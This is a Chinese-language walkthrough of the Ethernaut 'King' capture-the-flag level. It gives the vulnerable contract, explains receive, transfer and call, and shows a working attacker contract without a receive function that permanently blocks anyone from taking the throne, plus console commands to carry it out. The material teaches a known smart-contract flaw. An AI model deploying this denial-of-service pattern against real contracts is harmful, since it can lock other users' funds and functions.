// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
玩家必須取得 King 權限,且當有其他人來奪取 King 的權限時,其他人的交易會失敗(做一個永久的 King)。
至此,大家大概都清楚了 receive 的用途了-當程式碼接收到 ETH 的時候會觸發 receive 函數進而執行收款的動作,而 transfer 則是 address 型態變數底下能夠執行的 method,執行結果為轉帳入該地址
address addr = 0x5B
function withdraw(address addr) public {
0x5B.transfer( xxx wei)
}
例如上述的程式碼,當執行 withdraw 時合約會轉帳 xxx eth 進入 0x5B 這個地址。
而 transfer 的特性為,只有 2300 gas 可用。
而 call 則除了轉帳以外也能用於發送 signature data 執行函數,或是發送 data 等等。
call 的語法為
address.call{value : , gas : }()
可以在發送交易時調整該筆交易需要夾帶的 value (多少 eth)、該筆交易使用的 gas(可省略不寫) (該筆交易 gas 上限),或者傳送 data 等等。
可以從倒楣鬼程式碼中看到,king 權限會於 receive 中更換,也就是說當合約收到特定數量款項時,會執行更換 king 權限的語句,但若是,玩家的收款合約沒有準備 receive/fallback 函數呢 ? 只要取得 king 後就讓接下來的程式碼通通無法正常轉帳,如此一來便能達到目的。
首先需要準備一個合約,不包含 receive/fallback
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract attack {
function hack(address payable addr) public payable {
(bool sent, ) = addr.call{value : msg.value}("");
require(sent, "Failed to send value!");
}
}
接著我們需要知道當前 prize 的值才能轉正確數量的金額,以啟動倒楣鬼的 receive 以取得 king 權限。
await contract.prize().then(v => v.toString())
// 1000000000000000
然後就直接部署並以正確數量的金額轉帳過去吧。
接著確定當前 king 是否有改變吧
await contract.king().then(v => v.toString())
// your contract address
⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣
https://vomtom.at/solidity-0-6-4-and-call-value-curly-brackets/
https://fravoll.github.io/solidity-patterns/secure_ether_transfer.html
https://www.youtube.com/watch?v=tEL-JVjxsJI&t=1329s
https://medium.com/coinmonks/ethernaut-lvl-9-king-walkthrough-how-bad-contracts-can-abuse-withdrawals-db12754f359b